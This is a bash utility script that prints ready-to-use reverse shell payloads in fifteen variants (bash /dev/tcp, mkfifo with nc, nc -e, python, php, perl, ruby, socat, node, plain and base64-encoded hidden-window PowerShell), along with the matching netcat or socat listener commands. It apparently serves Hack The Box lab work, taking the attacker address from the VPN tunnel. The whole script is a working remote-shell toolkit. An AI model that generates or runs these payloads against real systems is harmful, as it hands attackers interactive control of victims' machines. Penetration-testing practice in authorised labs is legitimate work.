# revshell — reverse shell one-liners for the box you are on. # # revshell pick a type (gum) # revshell bash [port] one payload; LPORT from the arg, $LPORT, or 4444 # revshell ls the types # revshell all [port] every payload # revshell -c bash ...and copy it (wl-copy) # # LHOST is $LHOST if set, else the HTB tunnel address (htbip). The payload goes # to stdout and nothing else does, so `revshell bash | wl-copy` and # `$(revshell ps64)` work; the matching listener is printed on stderr. # # Ported from IceBreaker's scripts/revshell.sh; LHOST now comes from htbip # rather than a hardcoded tun0/tun1/eth0 probe. types=(bash bash-c bash-url mkfifo nc ncat busybox python php perl ruby socat node ps ps64) copy=0 if [ "${1:-}" = "-c" ]; then copy=1; shift; fi case "${1:-}" in -h | --help) echo "usage: revshell [-c] [type|ls|all] [port] (LHOST: \$LHOST or htbip)" exit 0 ;; ls | list | -l) printf '%s\n' "${types[@]}" exit 0 ;; esac LHOST=${LHOST:-$(htbip 2>/dev/null || true)} if [ -z "$LHOST" ]; then echo "revshell: no LHOST — bring the VPN up (htbup) or export LHOST=" >&2 exit 1 fi LPORT=${2:-${LPORT:-4444}} case "$LPORT" in '' | *[!0-9]*) echo "revshell: not a port: $LPORT" >&2; exit 2 ;; esac ps_raw() { # Single-quoted on purpose: these $ are PowerShell's, not ours. # shellcheck disable=SC2016 printf '$c=New-Object Net.Sockets.TCPClient("%s",%s);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String)+"PS "+(pwd).Path+"> ";$x=([Text.Encoding]::ASCII).GetBytes($o);$s.Write($x,0,$x.Length);$s.Flush()};$c.Close()' "$LHOST" "$LPORT" } payload() { local H=$LHOST P=$LPORT case "$1" in bash) echo "bash -i >& /dev/tcp/$H/$P 0>&1" ;; bash-c) echo "bash -c 'bash -i >& /dev/tcp/$H/$P 0>&1'" ;; bash-url) printf '%s' "bash -c 'bash -i >& /dev/tcp/$H/$P 0>&1'" | jq -sRr @uri ;; mkfifo) echo "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $H $P >/tmp/f" ;; nc) echo "nc -e /bin/sh $H $P" ;; ncat) echo "ncat $H $P -e /bin/sh" ;; busybox) echo "busybox nc $H $P -e /bin/sh" ;; python) echo "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"$H\",$P));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn(\"/bin/bash\")'" ;; php) echo "php -r '\$s=fsockopen(\"$H\",$P);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ;; perl) echo "perl -e 'use Socket;\$i=\"$H\";\$p=$P;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" ;; ruby) echo "ruby -rsocket -e'f=TCPSocket.open(\"$H\",$P).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" ;; socat) echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$H:$P" ;; node) echo "node -e 'sh=require(\"child_process\").spawn(\"/bin/sh\");c=require(\"net\").connect($P,\"$H\",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'" ;; ps) printf 'powershell -nop -c "%s"\n' "$(ps_raw)" ;; ps64) printf 'powershell -nop -w hidden -enc %s\n' "$(ps_raw | iconv -f UTF-8 -t UTF-16LE | base64 -w0)" ;; *) echo "revshell: unknown type '$1' (revshell ls)" >&2; return 2 ;; esac } listener() { case "$1" in socat) echo "listen: socat file:\$(tty),raw,echo=0 tcp-listen:$LPORT" >&2 ;; python) echo "listen: nc -lvnp $LPORT (already a pty — stty raw -echo; fg after ^Z)" >&2 ;; *) echo "listen: rlwrap -cAr nc -lvnp $LPORT" >&2 ;; esac } type=${1:-} if [ -z "$type" ]; then type=$(printf '%s\n' "${types[@]}" | gum choose --header "revshell → $LHOST:$LPORT") || exit 130 fi if [ "$type" = all ]; then for t in "${types[@]}"; do printf '# %s\n' "$t" payload "$t" done listener nc exit 0 fi out=$(payload "$type") || exit $? printf '%s\n' "$out" listener "$type" if [ "$copy" = 1 ]; then printf '%s' "$out" | wl-copy && echo "copied." >&2 fi